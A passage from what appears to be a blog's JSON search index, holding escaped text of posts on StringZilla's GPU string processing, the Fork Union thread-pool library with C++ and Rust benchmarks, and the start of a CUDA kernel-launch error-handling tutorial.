Hashing\u0026rdquo;.\nFirst of all, I wasn\u0026rsquo;t sure if MinHash is a big thing. I doubted it even more once I looked at available software. But the community pressure was too high, so I caved in.\nLooking at a text document of length $T$ bytes, we can extract $T - N + 1$ N-grams of length $N$. For example, the string \u0026ldquo;hello\u0026rdquo; contains the following 3-grams: \u0026ldquo;hel\u0026rdquo;, \u0026ldquo;ell\u0026rdquo;, and \u0026ldquo;llo\u0026rdquo;. Then, MinHash defines $D$ different hash functions $h_1, h_2, \u0026hellip;, h_D$. For each hash function $h_i$, we compute $T - N + 1$ hashes - one for each N-gram - and take the minimum value:\n$$ \\text{MinHash}(h_i) = \\min_{j=1}^{T - N + 1} h_i(\\text{N-gram}_j) $$\nThose $D$ minimum hash values form the MinHash signature of the document, a $D$-dimensional vector. Each of those hashes becomes more computationally expensive as the $N$ increases. So the overall complexity of computing the MinHash signature is $O(D \\cdot (T - N) \\cdot N)$. That\u0026rsquo;s a lot!\nTo reduce the complexity to $O(D \\cdot (T - N))$, one can switch to Rabin-style rolling hashes, which I was doing in StringZilla v3 as well, but it wasn\u0026rsquo;t enough! Computing high-quality signatures required good enough intermediate hashes, either:\na simple mixing scheme with larger 64-bit representations of hasher states, or a more complex mixing scheme with smaller 32-bit representations of hasher states. But the third option is always the best one, right? As many of us, including readers of this blog and Less Slow C++, using float-s to do the dirty integer work is a common trick for tiny integers. What everyone forgets is that double-s are also a thing, and they have 53 bits of precision (52 stored bits plus 1 implicit bit). So if we can fit our hasher state in 52 bits, we can do all the mixing and modulo arithmetic using double-s, and then store the final result as a 32-bit integer.\nCompute in Store in Quality CPU-friendly GPU-friendly 1 uint32_t uint32_t ★☆☆ ★★★ ★★☆ 2 uint64_t uint64_t ★★★ ★★☆ ★☆☆ 3 double uint32_t ★★★ ★★☆ ★★☆ Modern vectorized CPUs with 512-bit wide FMA units are surprisingly good at this, but GPUs are even better! It took a while to get rid of all the edge cases and ensuring the CPU and GPU kernels report the same fingerprints. At the end of the day:\nsingle-threaded Rust code: 0.5 MiB/s. H100 CUDA code: 392.37 MiB/s. In 2023, Nvidia also added MinHash to their nvtext:: package. It uses the MurmurHash3_32 algorithm, as a foundation, and is somewhat more similar in design to the Rust\u0026rsquo;s probabilistic_collections package. Comparing these solutions purely on throughput isn\u0026rsquo;t fair, as the quality of the produced signatures matters and differs a lot.\nLibrary ≅ 100 bytes lines ≅ 1000 bytes lines Serial MinHash for \u0026lt;ByteGrams\u0026gt; 0.44 MiB/s 0.47 MiB/s 92.81% collisions 94.58% collisions 0.8528 entropy 0.7979 entropy pc::MinHash\u0026lt;ByteGrams\u0026gt; 2.41 MiB/s 2.37 MiB/s 91.80% collisions 93.17% collisions 0.9343 entropy 0.8779 entropy szs::Fingerprints on 1x CPU 0.56 MiB/s 0.51 MiB/s szs::Fingerprints on 16x CPUs 6.62 MiB/s 8.03 MiB/s szs::Fingerprints on 1x GPU 102.07 MiB/s 392.37 MiB/s 86.80% collisions 93.21% collisions 0.9992 entropy 0.9967 entropy Within StringWa.rs, I only currently look at the collision rate of individual dimensions across the dataset and the entropy of the bit distribution within signatures. The entropy is somewhat absolute, but the collision rate can only be compared within the same dataset. The ultimate benchmark, is of course, the quality of the nearest-neighbor search results, but that\u0026rsquo;s a topic for another post and a longer list of Information Retrieval techniques.\nSorting \u0026amp; Batch Operations Most sorting algorithms are comparison-based, meaning that they rely on a series of comparisons between elements to determine their order. Comparing two integers is a single CPU instruction, but comparing two strings is much more complex. It involves a loop over the characters of both strings, comparing them one by one until a difference is found or the end of one string is reached:\n1 2 3 4 5 6 bool is_less(char const* a, size_t a_len, char const* b, size_t b_len) noexcept { char const* a_comparison_end = a + std::min(a_len, b_len); for (; a \u0026lt; a_comparison_end; ++a, ++b) // ! Loop to be avoided ! if (*a != *b) return *a \u0026lt; *b; return a_len \u0026lt; b_len; } In older StringZilla versions I\u0026rsquo;ve shown that the trivial optimization of sorting integer-represented prefixes before the rest of the string can yield significant speedups. The implementation was, however, a proof of concept, but now it\u0026rsquo;s a lot more usable and yields even better results:\nLibrary Shorter Words Longer Lines std::sort_unstable_by_key 54.35 M comparisons/s 57.70 M comparisons/s rayon::par_sort_unstable_by_key on 1x CPU 47.08 M comparisons/s 50.35 M comparisons/s arrow::lexsort_to_indices 122.20 M comparisons/s 84.73 M comparisons/s sz::argsort_permutation 182.88 M comparisons/s 74.64 M comparisons/s It definitely still has room for improvement, and will pave the way to a broader range of batch-processing operations. Now that I have a fast enough thread-pool implementation, scaling will be easier!\nTry Yourself Beyond the algorithmic innovations, the engineering challenge was shipping across platforms and languages:\nFor Python bindings alone, I ship to PyPI more platform-specific wheels per release than NumPy\u0026hellip; And unlike NumPy, my libraries ship their own SIMD and GPGPU kernels, that need to be re-compiled for each platform, instead of relying on C interfaces of existing BLAS libraries\u0026hellip; And unlike NumPy, StringZilla also ships for C, C++, CUDA, Rust, JavaScript, Go, and Swift, which all have their own peculiarities\u0026hellip; \u0026hellip; all from the same repository\u0026rsquo;s CI on a free-tier GitHub Actions plan. So I won\u0026rsquo;t be surprised if there is still some weird issue propagating build flags and inferring a weird SIMD capability support on some platforms. To check if it works as expected on your end, for Python:\n1 2 3 pip install stringzilla # for serial algorithms pip install stringzillas-cpus # for parallel multi-CPU backends pip install stringzillas-cuda # for parallel Nvidia GPU backend To check for detected capabilities:\n1 2 python -c \u0026#34;import stringzilla as sz; print(sz.__version__, sz.__capabilities__)\u0026#34; # for serial algorithms python -c \u0026#34;import stringzillas as szs; print(szs.__version__, szs.__capabilities__)\u0026#34; # for parallel algorithms For other programming languages, refer to the README.md and if something doesn\u0026rsquo;t work - share your issues on this thread on GitHub. For Rust, however, stuff should work fine, as its been used extensively for the StringWa.rs that you can pull and reproduce on your own hardware:\n1 2 3 4 RUSTFLAGS=\u0026#34;-C target-cpu=native\u0026#34; \\ STRINGWARS_DATASET=your-favorite-dataset \\ STRINGWARS_TOKENS=lines \\ cargo criterion --features bench_hash bench_hash --jobs $(nproc) This work moves on small pushes from the community: a minimal repro, a perf trace, or a note to keep going. My thanks to everyone who contributed!\nSpecial thanks to Nebius, my most-used cloud, for dependable, long-haul GPU capacity powering both personal experiments like this and Unum\u0026rsquo;s open-source work, from pre-training new perception \u0026amp; generative architectures to this kind of performance engineering.\nSpread the word if you\u0026rsquo;d like to see more such open-source work 🤗\nhttps://t.co/KbIf9uMQLa on GPUs: Databases \u0026amp; Bioinformatics 🦠\nLevenshtein \u0026amp; NW/SW scores at 500+ GigCUPS\nMinHash sketching in 52-bit integers at 300+ MB/s\nMore CPU-port-level optimizations \u0026amp; SVE2\nA massive post on my largest open-source release of \u0026#39;25https://t.co/ZOXqqzZint\n\u0026mdash; Ash Vardanian (@ashvardanian) September 15, 2025 ","permalink":"https://ashvardanian.com/posts/stringwars-on-gpus/","summary":"\u003cp\u003e\u003ca href=\"http://github.com/ashvardanian/StringZilla\"\u003e\u003cimg alt=\"StringZilla banner\" loading=\"lazy\" src=\"/stringwars-on-gpus/StringZilla-v4.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve just shipped \u003ca href=\"https://github.com/ashvardanian/StringZilla/releases/tag/v4.0.0\"\u003eStringZilla v4\u003c/a\u003e, the first \u003ca href=\"https://en.wikipedia.org/wiki/CUDA\"\u003eCUDA\u003c/a\u003e-capable release of my \u003ca href=\"https://en.wikipedia.org/wiki/Single_instruction,_multiple_data\"\u003eSIMD\u003c/a\u003e-first string processing library.\nWhich in English means that it is now fast not only on CPUs, but also on GPUs!\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eI\u0026rsquo;ve wanted to add \u003ca href=\"https://en.wikipedia.org/wiki/ROCm\"\u003eROCm\u003c/a\u003e-acceleration for AMD GPUs 🤦‍♂️\u003c/li\u003e\n\u003cli\u003eI\u0026rsquo;ve wanted to include a parallel multi-pattern search algorithm 🤦‍♂️\u003c/li\u003e\n\u003cli\u003eI\u0026rsquo;ve wanted to publish it back in December 2024 🤦‍♂️\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo not everything went to plan, but \u0026ldquo;StringZilla 4 CUDA\u0026rdquo; is finally here, bringing 500+ GigaCUPS of edit-distance calculations in a \u003ccode\u003epip install\u003c/code\u003e-able package, and a few more tricks up its sleeve, aimed at large-scale Information Retrieval, \u003cstrong\u003eDatabases\u003c/strong\u003e and Datalake systems, as well as \u003cstrong\u003eBioinformatics\u003c/strong\u003e workloads.\nAll under a permissive Apache 2.0 open-source license, free for commercial use.\nSo in this post, we\u0026rsquo;ll cover some of the most interesting parts of this release, including:\u003c/p\u003e","title":"Processing Strings 109x Faster than Nvidia on H100"},{"content":" TL;DR: Most C++ and Rust thread-pool libraries leave significant performance on the table - often running 10× slower than OpenMP on classic fork-join workloads and micro-benchmarks. So I\u0026rsquo;ve drafted a minimal ~300-line library called Fork Union that lands within 20% of OpenMP. It does not use advanced NUMA tricks; it uses only the C++ and Rust standard libraries and has no other dependencies.\nUpdate (Sep 2025): Since the v2 release, Fork Union supports NUMA and Huge Pages, as well as tpause, wfet, and other \u0026ldquo;pro\u0026rdquo; features. Check the README for details.\nOpenMP has been the industry workhorse for coarse-grain parallelism in C and C++ for decades. I lean on it heavily in projects like USearch, yet I avoid it in larger systems because:\nFine-grain parallelism with independent subsystems doesn\u0026rsquo;t map cleanly to OpenMP\u0026rsquo;s global runtime. Portability of the C++ STL and the Rust standard library is better than OpenMP. Meta-programming with OpenMP is a pain - mixing #pragma omp with templates quickly becomes unmaintainable. So I went looking for ready-made thread pools in C++ and Rust — only to realize most of them implement asynchronous task queues, a much heavier abstraction than OpenMP\u0026rsquo;s fork-join model. Those extra layers introduce what I call the four horsemen of low performance:\nLocks \u0026amp; mutexes with syscalls in the hot path. Heap allocations in queues, tasks, futures, and promises. Compare-and-swap (CAS) stalls in the pessimistic path. False sharing unaligned counters thrashing cache lines. With today\u0026rsquo;s dual-socket AWS machines pushing 192 physical cores, I needed something leaner than Taskflow, Rayon, or Tokio. Enter Fork Union.\nBenchmarks Hardware: AWS Graviton 4 metal (single NUMA node, 96× Arm v9 cores, 1 thread/core). Workload: \u0026ldquo;ParallelReductionsBenchmark\u0026rdquo; - summing single-precision floats in parallel. In this case, just one cache line (float[16]) per core—small enough to stress synchronization cost of the thread pool rather than arithmetic throughput of the CPU. In other words, we are benchmarking kernels similar to:\n1 2 3 4 5 6 7 8 9 #include \u0026lt;array\u0026gt; float parallel_sum(std::array\u0026lt;float, 96 * 16\u0026gt; const \u0026amp;data) { float result = 0.0f; #pragma omp parallel for reduction(+:result) // Not how we profile OpenMP for (std::size_t i = 0; i \u0026lt; data.size(); ++i) result += data[i]; return result; } Google Benchmark numbers for the C++ version of Fork Union, compared to OpenMP, Taskflow, and allocating 96× std::thread objects on-demand, are as follows:\n1 2 3 4 5 6 7 8 9 PARALLEL_REDUCTIONS_LENGTH=1536 build_release/reduce_bench ----------------------------------- Benchmark UserCounters... ----------------------------------- std::threads bytes/s=3.00106 MB/s tf::taskflow bytes/s=76.2837 MB/s av::fork_union bytes/s=467.714 MB/s openmp bytes/s=585.492 MB/s I\u0026rsquo;ve cleaned up the output, focusing only on the relevant rows and the reduction throughput.\nCriterion.rs numbers for the Rust version of Fork Union, compared to Rayon, Tokio, and Smol\u0026rsquo;s Async Executors, are as follows:\n1 2 3 4 5 6 $ PARALLEL_REDUCTIONS_LENGTH=1536 cargo +nightly bench -- --output-format bencher test fork_union ... bench: 5,150 ns/iter (+/- 402) test rayon ... bench: 47,251 ns/iter (+/- 3,985) test smol ... bench: 54,931 ns/iter (+/- 10) test tokio ... bench: 240,707 ns/iter (+/- 921) The timing methods used in those two executables are different, but the relative observations should hold.\nSpawning new threads is obviously too expensive. Most reusable thread pools are still 10x slower to sync than OpenMP. OpenMP isn\u0026rsquo;t easy to compete with and still outperforms Fork Union by 20%. This clearly shows, how important it is to chose the right tool for the job. Don\u0026rsquo;t pick an asynchronous task pool for a fork-join blocking workload!\nFour Horsemen of Performance This article won\u0026rsquo;t be a deep dive into those topics. Each deserves its own article and a proper benchmark, with some good ones already available and linked.\nLocks and Mutexes Unlike the std::atomic, the std::mutex update may result in a system call, and it can be expensive to acquire and release. Its implementations generally have 2 executable paths:\nthe fast path, where the mutex is not contended, where it first tries to grab the mutex via a compare-and-swap operation, and if it succeeds, it returns immediately. the slow path, where the mutex is contended, and it has to go through the kernel to block the thread until the mutex is available. On Linux, the latter translates to a \u0026ldquo;futex\u0026rdquo; syscall and an expensive context switch. In Rust, the same applies to std::async::atomic and std::sync::Mutex. Prefer the former when possible.\nMemory Allocations Most thread-pools use classes like std::future, std::packaged_task, std::function, std::queue, std::conditional_variable.\nIn Rust land, there will often be a std::Box, std::Arc, std::collections::VecDeque, std::sync::mpsc or even std::sync::mpmc.\nMost of those, I believe, aren\u0026rsquo;t unusable in Big-Data applications, where you always operate in memory-constrained environments:\nRaising a std::bad_alloc exception when there is no memory left and just hoping that someone up the call stack will catch it is not a great design idea for Systems Engineering. The threat of having to synchronize ~200 physical CPU cores across 2-8 sockets and potentially dozens of NUMA nodes around a shared global memory allocator practically means you can\u0026rsquo;t have predictable performance. As we focus on a simpler concurrency parallelism model, we can avoid the complexity of allocating shared states, wrapping callbacks into some heap-allocated \u0026ldquo;tasks\u0026rdquo;, and a lot of other boilerplates.\nLess work = more performance.\nAtomics and CAS Once you get to the lowest-level primitives on concurrency, you end up with the std::atomic and a small set of hardware-supported atomic instructions. Hardware implements it differently:\nx86 is built around the \u0026ldquo;Total Store Order\u0026rdquo; (TSO) memory consistency model and provides LOCK variants of the ADD and CMPXCHG. These variants act as full-blown \u0026ldquo;fences\u0026rdquo; — no loads or stores can be reordered across them. This makes atomic operations on x86 straightforward but heavyweight. Arm, on the other hand, has a \u0026ldquo;weak\u0026rdquo; memory model and provides a set of atomic instructions that are not fenced and match the C++ concurrency model. It offers acquire, release, and acq_rel variants of each atomic instruction — such as LDADD, STADD, and CAS — which allow precise control over visibility and order, especially with the introduction of \u0026ldquo;Large System Extension\u0026rdquo; (LSE) instructions in Armv8.1-A. A locked atomic on x86 requires the cache line in the Exclusive state in the requester\u0026rsquo;s L1 cache. This would incur a coherence transaction (Read-for-Ownership) if another core had the line. Both Intel and AMD handle this similarly.\nIt makes Arm and Power much more suitable for lock-free programming and concurrent data structures, but some observations hold for both platforms. Most importantly, \u0026ldquo;Compare and Swap\u0026rdquo; (CAS) is costly and should be avoided at all costs.\nOn x86, for example, the LOCK ADD can easily take 50 CPU cycles. It is 50x slower than a regular ADD instruction but still easily 5-10x faster than a LOCK CMPXCHG instruction. Once the contention rises, the gap naturally widens, further amplified by the increased \u0026ldquo;failure\u0026rdquo; rate of the CAS operation when the value being compared has already changed. That\u0026rsquo;s why, for the \u0026ldquo;dynamic\u0026rdquo; mode, we resort to using an additional atomic variable rather than more typical CAS-based implementations.\nAlignment Assuming a thread pool is a heavy object anyway, nobody will care if it\u0026rsquo;s a bit larger than expected. That allows us to over-align the internal counters to std::hardware_destructive_interference_size or std::max_align_t to avoid false sharing. In that case, even on x86, where the entire cache will be exclusively owned by a single thread, in eager mode, we end up effectively \u0026ldquo;pipelining\u0026rdquo; the execution, where one thread may be incrementing the \u0026ldquo;in-flight\u0026rdquo; counter while the other is decrementing the \u0026ldquo;remaining\u0026rdquo; counter. Others are executing the loop body in between.\nComparing APIs Fork Union Fork Union has a straightforward goal, so its API is equally clear. There are only 4 core interfaces:\nfor_each_thread - to dispatch a callback per thread, similar to #pragma omp parallel. for_each_static - for individual evenly-sized tasks, similar to #pragma omp for schedule(static). for_each_slice - for slices of evenly-sized tasks, similar to nested #pragma omp for schedule(static). for_each_dynamic - for individual unevenly-sized tasks, similar to #pragma omp for schedule(dynamic, 1). They all receive a C++ lambda or a Rust closure and a range of tasks to execute. The construction of the thread pool itself is a bit trickier than typically in standard libraries, as \u0026ldquo;exceptions\u0026rdquo; and \u0026ldquo;panics\u0026rdquo; are not allowed. So, the constructor can\u0026rsquo;t perform any real work. In C++, the try_spawn method can be called to allocate all the threads:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include \u0026lt;fork_union.hpp\u0026gt; // `fork_union_t` #include \u0026lt;cstdio\u0026gt; // `stderr` #include \u0026lt;cstdlib\u0026gt; // `EXIT_SUCCESS` namespace fun = ashvardanian::fork_union; int main() { fun::fork_union_t pool; if (!pool.try_spawn(std::thread::hardware_concurrency())) { std::fprintf(stderr, \u0026#34;Failed to fork the threads\\n\u0026#34;); return EXIT_FAILURE; } pool.for_each_thread([\u0026amp;](std::size_t thread_index) noexcept { std::printf(\u0026#34;Hello from thread # %zu (of %zu)\\n\u0026#34;, thread_index + 1, pool.count_threads()); }); return EXIT_SUCCESS; } As you may have noticed, the lambdas are forced to be noexcept and can\u0026rsquo;t return anything. This is a design choice that vastly simplifies the implementation.\nIn Rust, similarly, the try_spawn method can be used:\n1 2 3 4 5 6 7 8 9 10 11 #![feature(allocator_api)] use std::error::Error; use fork_union::ForkUnion; fn main() -\u0026gt; Result\u0026lt;(), Box\u0026lt;dyn Error\u0026gt;\u0026gt; { let pool = ForkUnion::try_spawn(4)?; pool.for_each_thread(|thread_index| { println!(\u0026#34;Hello from thread # {} (of {})\u0026#34;, thread_index + 1, pool.count_threads()); }); Ok(()) } Assuming Rust has no function overloading, there are a few alternatives:\ntry_spawn - to spawn a thread pool with the main allocator. try_spawn_in - to spawn a thread pool with a custom allocator. try_named_spawn - to spawn a thread pool with the main allocator and a name. try_named_spawn_in - to spawn a thread pool with a custom allocator and a name. Rayon Rayon is the go-to Rust library for data parallelism. It suffers from the same core design issues as every other thread pool I\u0026rsquo;ve looked at on GitHub, but it\u0026rsquo;s fair to say that at the high level, it provides outstanding coverage for various parallel iterators! As such, there is an open call to explore similar \u0026ldquo;Map-Reduce\u0026rdquo; and \u0026ldquo;Map-Fork-Reduce\u0026rdquo; patterns in Fork Union to see if they can be implemented efficiently.\n1 2 3 4 5 6 7 use rayon::prelude::*; fn sum_of_squares(input: \u0026amp;[i32]) -\u0026gt; i32 { input.par_iter() // \u0026lt;-- just change that! .map(|\u0026amp;i| i * i) .sum() } The default .par_iter() API of Rayon, at the start of the README.md, is not how I\u0026rsquo;ve used it in \u0026ldquo;Parallel Reductions Benchmark\u0026rdquo;. To ensure that we are benchmarking the actual synchronization cost of the thread pool, I\u0026rsquo;ve gone directly to the underlying rayon::ThreadPool API:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 pub fn sum_rayon(pool: \u0026amp;rayon::ThreadPool, data: \u0026amp;[f32], partial_sums: \u0026amp;mut [f64]) -\u0026gt; f64 { let cores = pool.current_num_threads(); let chunk_size = scalars_per_core(data.len(), cores); // Defined elsewhere let partial_sums_ptr = partial_sums.as_mut_ptr() as usize; // Pointers aren\u0026#39;t safe to pass around pool.broadcast(|context: rayon::BroadcastContext\u0026lt;\u0026#39;_\u0026gt;| { let thread_index = context.index(); let start = thread_index * chunk_size; if start \u0026gt;= data.len() { return; } let stop = std::cmp::min(start + chunk_size, data.len()); let partial_sum = sum_unrolled(\u0026amp;data[start..stop]); unsafe { ptr::write( // Cast back to a pointer: (partial_sums_ptr as *mut f64).add(thread_index), partial_sum, ); } }); partial_sums.iter().copied().sum() } Taskflow Taskflow is one of the most popular C++ libraries for parallelism. It has many features, including async execution graphs on CPUs and GPUs. The most common example looks like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include \u0026lt;taskflow/taskflow.hpp\u0026gt; int main() { tf::Executor executor; tf::Taskflow taskflow; auto [A, B, C, D] = taskflow.emplace( // create four tasks [] () { std::cout \u0026lt;\u0026lt; \u0026#34;TaskA\\n\u0026#34;; }, [] () { std::cout \u0026lt;\u0026lt; \u0026#34;TaskB\\n\u0026#34;; }, [] () { std::cout \u0026lt;\u0026lt; \u0026#34;TaskC\\n\u0026#34;; }, [] () { std::cout \u0026lt;\u0026lt; \u0026#34;TaskD\\n\u0026#34;; } ); A.precede(B, C); // A runs before B and C D.succeed(B, C); // D runs after B and C executor.run(taskflow).wait(); return 0; } Despite being just an example, it clearly shows how different Taskflow\u0026rsquo;s core objectives are from OpenMP and Fork Union. It is still probably mainly used for simple static parallelism, similar to our case without complex dependencies and the taskflow can be reused. Here is how \u0026ldquo;Parallel Reductions Benchmark\u0026rdquo; wraps Taskflow:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 template \u0026lt;typename serial_at = stl_accumulate_gt\u0026lt;float\u0026gt;\u0026gt; class taskflow_gt { float const *const begin_ = nullptr; float const *const end_ = nullptr; std::size_t const cores_ = 0; tf::Executor executor_; tf::Taskflow taskflow_; struct alignas(128) thread_result_t { double partial_sum = 0.0; }; std::vector\u0026lt;thread_result_t\u0026gt; sums_; public: taskflow_gt() = default; taskflow_gt(float const *b, float const *e) : begin_ {b}, end_ {e}, cores_ {total_cores()}, executor_ {static_cast\u0026lt;unsigned\u0026gt;(cores_)}, sums_ {cores_} { auto const input_size = static_cast\u0026lt;std::size_t\u0026gt;(end_ - begin_); auto const chunk_size = scalars_per_core(input_size, cores_); for (std::size_t thread_index = 0; thread_index \u0026lt; cores_; ++thread_index) { taskflow_.emplace([this, input_size, chunk_size, thread_index] { std::size_t const start = std::min(thread_index * chunk_size, input_size); std::size_t const stop = std::min(start + chunk_size, input_size); sums_[thread_index].partial_sum = serial_at {begin_ + start, begin_ + stop}(); }); } } double operator()() { executor_.run(taskflow_).wait(); return std::accumulate(sums_.begin(), sums_.end(), 0.0, [](double acc, thread_result_t const \u0026amp;x) noexcept { return acc + x.partial_sum; }); } }; Only the operator() method is timed, leaving the construction costs out of the equation.\nConclusions \u0026amp; Observations Fork Union shows that a lean, 300-line fork-join pool can sit within ~20% of OpenMP, while more functional pools trail by an order of magnitude. That margin will shift as more workloads, CPUs, and compilers are tested, so treat today\u0026rsquo;s numbers as directional, not gospel. There may still be subtle memory-ordering bugs lurking in Fork Union, but the core observations should hold: dodge mutexes, dynamic queues, likely-pessimistic CAS paths, and false sharing — regardless of language or framework.\nRust is still new territory for me. The biggest surprise is the missing allocator support in std::collections on the stable toolchain. Nightly\u0026rsquo;s Vec::try_reserve_in helps, but until stable lands, ergonomic custom allocation remains tricky. The machinery exists in C++, yet most projects ignore it — so the culture needs to catch up.\nPS: Spot dubious memory-ordering? Open an issue. Want to close the remaining 20% gap? Happy forking 🤗\nFork Union, arguably the most unusual parallel-processing library on GitHub, just crossed its first 100 stars — my 12th project to reach that milestone 🥳\nRepository: https://t.co/Gyg43GW6d7\nUnlike typical thread-pools, it avoids not only mutexes but even Compare-and-Swap… pic.twitter.com/H2H7fgaXl4\n\u0026mdash; Ash Vardanian (@ashvardanian) September 7, 2025 ","permalink":"https://ashvardanian.com/posts/beyond-openmp-in-cpp-rust/","summary":"\u003cblockquote\u003e\n\u003cp\u003eTL;DR: Most C++ and Rust thread-pool libraries leave significant performance on the table - often running 10× slower than \u003ca href=\"https://en.wikipedia.org/wiki/OpenMP\"\u003eOpenMP\u003c/a\u003e on classic fork-join workloads and \u003ca href=\"https://github.com/ashvardanian/ParallelReductionsBenchmark\"\u003emicro-benchmarks\u003c/a\u003e.\nSo I\u0026rsquo;ve drafted a minimal ~300-line library called \u003ca href=\"https://github.com/ashvardanian/fork_union\"\u003eFork Union\u003c/a\u003e that lands within 20% of OpenMP.\nIt does not use advanced \u003ca href=\"https://en.wikipedia.org/wiki/Non-uniform_memory_access\"\u003eNUMA\u003c/a\u003e tricks; it uses only the C++ and Rust standard libraries and has no other dependencies.\u003c/p\u003e\n\u003cp\u003eUpdate (Sep 2025): Since the \u003ca href=\"https://github.com/ashvardanian/fork_union/releases/tag/v2.0.0\"\u003ev2 release\u003c/a\u003e, Fork Union supports NUMA and Huge Pages, as well as \u003ccode\u003etpause\u003c/code\u003e, \u003ccode\u003ewfet\u003c/code\u003e, and other \u0026ldquo;pro\u0026rdquo; features.\nCheck the \u003ca href=\"https://github.com/ashvardanian/fork_union?tab=readme-ov-file#pro-tips\"\u003eREADME for details\u003c/a\u003e.\u003c/p\u003e","title":"Beyond OpenMP in C++ \u0026 Rust: Taskflow, Rayon, Fork Union 🍴"},{"content":"You\u0026rsquo;ve probably seen a CUDA tutorial like this one — a classic \u0026ldquo;Hello World\u0026rdquo; blending CPU and GPU code in a single \u0026ldquo;heterogeneous\u0026rdquo; CUDA C++ source file, with the kernel launched using NVCC\u0026rsquo;s now-iconic triple-bracket \u0026lt;\u0026lt;\u0026lt;\u0026gt;\u0026gt;\u0026gt; syntax:\n1 2 3 4 5 6 7 8 9 10 11 #include \u0026lt;cuda_runtime.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; __global__ void kernel() { printf(\u0026#34;Hello World from block %d, thread %d\\n\u0026#34;, blockIdx.x, threadIdx.x); } int main() { kernel\u0026lt;\u0026lt;\u0026lt;1, 1\u0026gt;\u0026gt;\u0026gt;(); // Returns `void`?! 🤬 return cudaDeviceSynchronize() == cudaSuccess ? 0 : -1; } I still see this exact pattern in production code — and I\u0026rsquo;ll admit, it shows up in some of my own toy projects too - one, two, and three. But relying on triple-bracket kernel launches in production isn\u0026rsquo;t ideal. They don\u0026rsquo;t return error codes, and they encourage a false sense of simplicity. So in the next ~25 KBytes of text, we\u0026rsquo;ll explore the less wrong ways to launch kernels.\nThis post doesn\u0026rsquo;t teach you how to write CUDA kernels. It won\u0026rsquo;t cover semaphores, event graphs, or full-scale schedulers. Instead, it focuses on one thing: launching a single CUDA kernel correctly.\nBasics and Correctness The snippet above compiles and runs with the expected output:\n1 2 $ nvcc -o hello_world hello_world.cu \u0026amp;\u0026amp; ./hello_world \u0026gt; Hello World from block 0, thread 0 In some sense, it\u0026rsquo;s already \u0026ldquo;correct\u0026rdquo;.\nHowever, today, most GPUs come packed eight per HGX board, and at the very least, you\u0026rsquo;d want to introduce some parallelism to ensure kernels are launched across all of them.\nBasic utilization aside, a single DGX H100 node comes with two beefy CPUs, constantly juggling complex execution graphs and moving hundreds of gigabytes per second in both directions — all asynchronously.\nA lot can go wrong in such a system, so it\u0026rsquo;s worth establishing a few basic ground rules for how GPU kernels should be orchestrated:\nKernel launches are high-latency and should be asynchronous. Work should be explicitly ordered within streams. CUDA API calls and kernel launches must be paired with robust error checks. Here\u0026rsquo;s how to integrate CUDA streams — nothing fancy:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include \u0026lt;cuda_runtime.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; __global__ void kernel() { extern __shared__ char shared_buffer[]; printf(\u0026#34;Hello World from block %d, thread %d\\n\u0026#34;, blockIdx.x, threadIdx.x); } int main() { cudaStream_t stream; cudaStreamCreate(\u0026amp;stream); uint shared_memory_size = 0; kernel\u0026lt;\u0026lt;\u0026lt;1, 1, shared_memory_size, stream\u0026gt;\u0026gt;\u0026gt;(); // 4 arguments, not 2 cudaStreamSynchronize(stream); cudaStreamDestroy(stream); return 0; } Note the four-argument kernel launch.\nHere\u0026rsquo;s a more careful version with explicit error handling:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include \u0026lt;cuda_runtime.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; __global__ void kernel() { extern __shared__ char shared_buffer[]; printf(\u0026#34;Hello World from block %d, thread %d\\n\u0026#34;, blockIdx.x, threadIdx.x); } int main() { cudaStream_t stream; cudaError_t err = cudaStreamCreate(\u0026amp;stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Failed to create stream: %s\\n\u0026#34;, cudaGetErrorString(err)); return -1; } uint shared_memory_size = 1 \u0026lt;\u0026lt; 30; // 1 GB intentionally large for demonstration kernel\u0026lt;\u0026lt;\u0026lt;1, 1, shared_memory_size, stream\u0026gt;\u0026gt;\u0026gt;(); err = cudaStreamSynchronize(stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Failed to synchronize stream: %s\\n\u0026#34;, cudaGetErrorString(err)); cudaStreamDestroy(stream); return -1; } cudaStreamDestroy(stream); return 0; } This is where most tutorials stop — and silently fail. Try running it:\n1 $ nvcc -o hello_world hello_world.cu \u0026amp;\u0026amp; ./hello_world No output. No error message. Nothing. We can\u0026rsquo;t fetch an error from the stream because the failure happens on submission, not execution.\nCUDA Runtime API NVCC\u0026rsquo;s triple-bracket syntax is syntactic sugar over the CUDA Runtime API, itself a wrapper over the lower-level CUDA Driver API. To catch errors effectively, we must use the CUDA Driver\u0026rsquo;s Execution Control API:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #include \u0026lt;cuda_runtime.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; __global__ void kernel() { extern __shared__ char shared_buffer[]; printf(\u0026#34;Hello World from block %d, thread %d\\n\u0026#34;, blockIdx.x, threadIdx.x); } int main() { cudaStream_t stream; cudaError_t err; err = cudaStreamCreate(\u0026amp;stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Failed to create stream: %s\\n\u0026#34;, cudaGetErrorString(err)); return -1; } dim3 grid(1); dim3 block(1); size_t shared_memory_size = 1 \u0026lt;\u0026lt; 30; // 1 GB void *kernel_args[] = {}; err = cudaLaunchKernel((void *)kernel, grid, block, kernel_args, shared_memory_size, stream); if (err != cudaSuccess) { fprintf(stderr, \u0026#34;Failed to launch kernel: %s\\n\u0026#34;, cudaGetErrorString(err)); cudaStreamDestroy(stream); return -1; } err = cudaStreamSynchronize(stream); if (err != cudaSuccess) { 